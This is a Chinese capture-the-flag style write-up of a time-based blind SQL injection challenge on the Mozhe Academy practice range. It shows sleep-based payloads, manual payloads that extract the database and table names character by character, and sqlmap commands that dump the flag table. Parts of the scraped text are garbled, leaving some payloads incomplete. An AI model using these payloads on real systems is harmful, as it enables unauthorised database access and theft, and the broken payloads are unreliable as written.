时间盲注 墨者学院SQL注入(手动注入+sqlmap+对于注入语句中的那个 ’

墨者学院SQL注入(时间盲注)(手动注入++对于注入语句中的那个 ’ 的测试) 闲谈
这样写标题比较醒目,主要是想帮帮像我一样的强迫症的小伙伴,(其实我发现是在线靶场的解题思路啥的看的人多,如果有小伙伴对于我的推测有不同见解的地方可以留言),因为我最近在刷墨者靶场的SQL注入部分,所以遇到自己觉得有意思的题会发出来,小伙白也可以留言告诉我一些有意思的靶场(这是属于小白的进阶之路) 。
0x00 注入点判断:
提示很明显,如图0:
图0 提示很明显是参数?type=
画风正常一点的::40659/flag.php?type=1%20and%(3)%23
如图1:
图1 这里会有一个明显的延时,执行了sleep(3) 。(注意这个是没加上 ’ )
这样的::40659/flag.php?type=1%27%20and%(3)%23
如图2:
图2 (在?type=1后边加上 ’ ,加上 " )没有执行sleep函数(这里只给一个图)
最离谱的来了,::40659/flag.php?type=1%20and%(3)%27
如图3:
图3 他居然也执行了sleep(3) 。。。
加上了 ;的::40659/flag.php?type=1%20and%(3);%23
也可以成功执行sleep(3)
先接着往下走,在mysql测试放在最后 。(毕竟还是要把靶场打通过)
0x01 构建,原理分析,使用函数简介: a.函数简介:
if(a,b,c):
a 是条件。
b 是当a为True时执行的动作,也就是满足条件是执行的动作。
c 是当a为False时执行的动作,也就是不满足条件是执行的动作 。
(a):
返回a的长度 。
(a,b,c):
a 是被当作目标的字符串 。
b 是开始截取的位置 。
c 是截取的长度 。

时间盲注  墨者学院SQL注入(手动注入+sqlmap+对于注入语句中的那个 ’

文章插图
limit 0,1
从索引值为0的行数开始拉去一行 。(mysql索引值从0开始)
ascii(a):
将字符a转化为asc码 。
b.构建(手动盲注): b1.首先判断当前数据库长度:
():查询当前数据库 。
: :40659/flag.php?type=1%20and%20if((())%3E5,sleep(3),0)%23
如图4:
图4 成功执行了sleep(3),数据库长度是大于5的 。
: :40659/flag.php?type=1%20and%20if((())%3E10,sleep(3),0)%23
如图5:
图5 成功执行了sleep(3),数据库长度大于10
: :40659/flag.php?type=1%20and%20if((())%3E12,sleep(3),0)%23
如图6:
图6 没有执行sleep(3),(之后不截图了吧,不看给你们响应时间你们也看不出来吧 。。。)
: :40659/flag.php?type=1%20and%20if((())=12,sleep(3),0)%23
最后数据库长度是等于12的 。
b2.判断表的长度:
: :40659/flag.php?type=1%20and%20if(((%%%.%%=()%%201,1))=4,sleep(3),0)%23
由此可知第二个表名字的长度为4,修改 limit 函数的参数就可以把所有的表的长度都爆出来 。
b3.判断表的名字:
: :40659/flag.php?type=1%20and%20if(ascii(((from . where =() limit 1,1),1,1))=102,sleep(3),1)%23
这个是第2张表的第一个字母,asc码是102,也就是字母f
: :40659
/flag.php?type=1 and if(ascii(((from . where =() limit 1,1),2,1))=108,sleep(3),1)%23
第二个字母,asc码是108,字符l 。
依次类推,可以爆出表名 。
c.的使用:
话不多说,直接上:
-u :41887/flag.php?type=1 --dbs -batch
爆数据库 。
-u :41887/flag.php?type=1 -D-- --batch
爆表 。
-u :41887/flag.php?type=1 -D-T flag -- --batch
爆字段 。
-u :41887/flag.php?type=1 -D-T flag -C flag --dump --batch
爆内容
(端口不同原因是我出去吃饭了 。。。太久靶场关了 。)
是真香啊 。
0x02 在mysql中测试他那个该死的 ’ 到底是什么原因:
我们只是模拟环境,所以也没有特意创建表,插入数据,使用的mysql自带的表(其实就是懒) 。